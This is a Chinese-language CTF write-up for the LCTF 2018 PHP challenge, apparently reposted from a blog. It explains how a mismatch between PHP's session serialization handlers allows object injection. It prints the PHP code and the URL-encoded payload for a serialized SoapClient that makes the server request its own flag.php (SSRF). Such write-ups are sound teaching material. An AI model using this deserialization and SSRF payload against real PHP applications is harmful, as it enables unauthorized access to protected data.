LCTF(利用Soapclient构造session原生类)
Posted sylover
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了LCTF(利用Soapclient构造session原生类)相关的知识,希望对你有一定的参考价值。
题目:
<?php highlight_file(__FILE__); $b = ‘implode‘; call_user_func($_GET[‘f‘], $_POST); session_start(); if (isset($_GET[‘name‘])) { $_SESSION[‘name‘] = $_GET[‘name‘]; } var_dump($_SESSION); $a = array(reset($_SESSION), ‘welcome_to_the_lctf2018‘); call_user_func($b, $a); ?> array(0) { }
这里涉及到了一个函数call_user_func
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed
回调函数:第一个参数 callback
是被调用的回调函数,其余参数是回调函数的参数
举个例子:
<?php function test($name){ echo "this is $name !"; } call_user_func(‘test‘,‘kobe‘); // 输出 this is kobe
- call_user_func() 调用静态类
<?php class mytest{ static function hello_world(){ echo "hello world"; } } $test = "mytest"; call_user_func(array($test,‘hello_world‘));
输出 hello world
这里还存在一个flag.php文件
only localhost can get flag! session_start(); echo ‘only localhost can get flag!‘; $flag = ‘LCTF{*************************}‘; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1") { $_SESSION[‘flag‘] = $flag; } only localhost can get flag!
可以看到的是这里的逻辑是用session构造本地访问flag.php,也就是SSRF
- session序列化机制
session在php中是以文件形式储存的,这里涉及到session在php.ini中的几项配置。
在phpinfo中找到session.save_path,session.save_handler,session.serialize_handler
session.save_handler: 设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.save_path: 设置session的存储路径
session.serialize_handler: 定义用来序列化/反序列化的处理器名字。默认是php(5.5.4后改为php_serialize)
- session序列化引擎
session_serialize_handler有两种方式
session.serialize_handler = php 一直都在 它是用 |分割
session.serialize_handler = php_serialize 5.5之后启用 它是用serialize反序列化格式分割
<?php ini_set("session.serialize_handler","php"); session_start(); $_SESSION[‘arr‘] = array("first"=>"kobe","last"=>"bryant"); $_SESSION[‘b‘] = ‘test‘; ?>
这里的session是通过数组形式储存的,arr和b数组,像这样arr | a: b| s:4
而调用php_serialize这个引擎的时候,session变为了a:2:{...,看到这两种不同的引擎对于session序列化的结果是不同的,因此可以利用差异化进行反序列化注入。
例如传入$_SESSION[‘name‘]=‘|O:4:"test":1:{s:4:"test";s:3:"AAA";}‘;
序列化引擎使用的是php_serialize,那么储存的session文件为
a:1:{s:4:"name";s:5:"|O:4:"test":1:{s:4:"test";s:3:"AAA";}";}
而反序列化引擎如果使用的是php,就会把|
作为作为key和value的分隔符。把a:1:{s:4:"name";s:5:"
当作键名,而把O:4:"test":1:{s:4:"test";s:3:"AAA";}
当作经过serialize()函数处理过的值,最后会把它进行unserialize处理,此时就构成了一次反序列化注入攻击。
- SoapClient:
通过刚才的分析,我们需要找到一个可以利用的类,因为这样才可以以数组的形式进行储存,由于源码中没有类的产生,因此我们需要挖掘内置类。
利用php原生类_call方法构造SSRF:
<?php $url = "http://127.0.0.1/flag.php"; $b = new SoapClient(null, array(‘uri‘ => $url, ‘location‘ => $url)); $a = serialize($b); $a = str_replace(‘^^‘, " ", $a); echo "|" . urlencode($a); ?>
payload:
|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
将payload写入session中并覆盖原有session
此时session_start()序列化使用的是php引擎。接下里我们覆盖变量a,利用call_user_func调用SoapClient类中的不存在方法,触发__call方法,执行ssrf。并获得访问flag.php的PHPSESSID
这里得到的SESSION就是变量覆盖过后SSRF本地生成的SESSION,用这个session去访问flag
以上是关于LCTF(利用Soapclient构造session原生类)的主要内容,如果未能解决你的问题,请参考以下文章
[LCTF]bestphp's revenge 给我的启发学习
2018/11/30-LCTF-想起Lunatic Game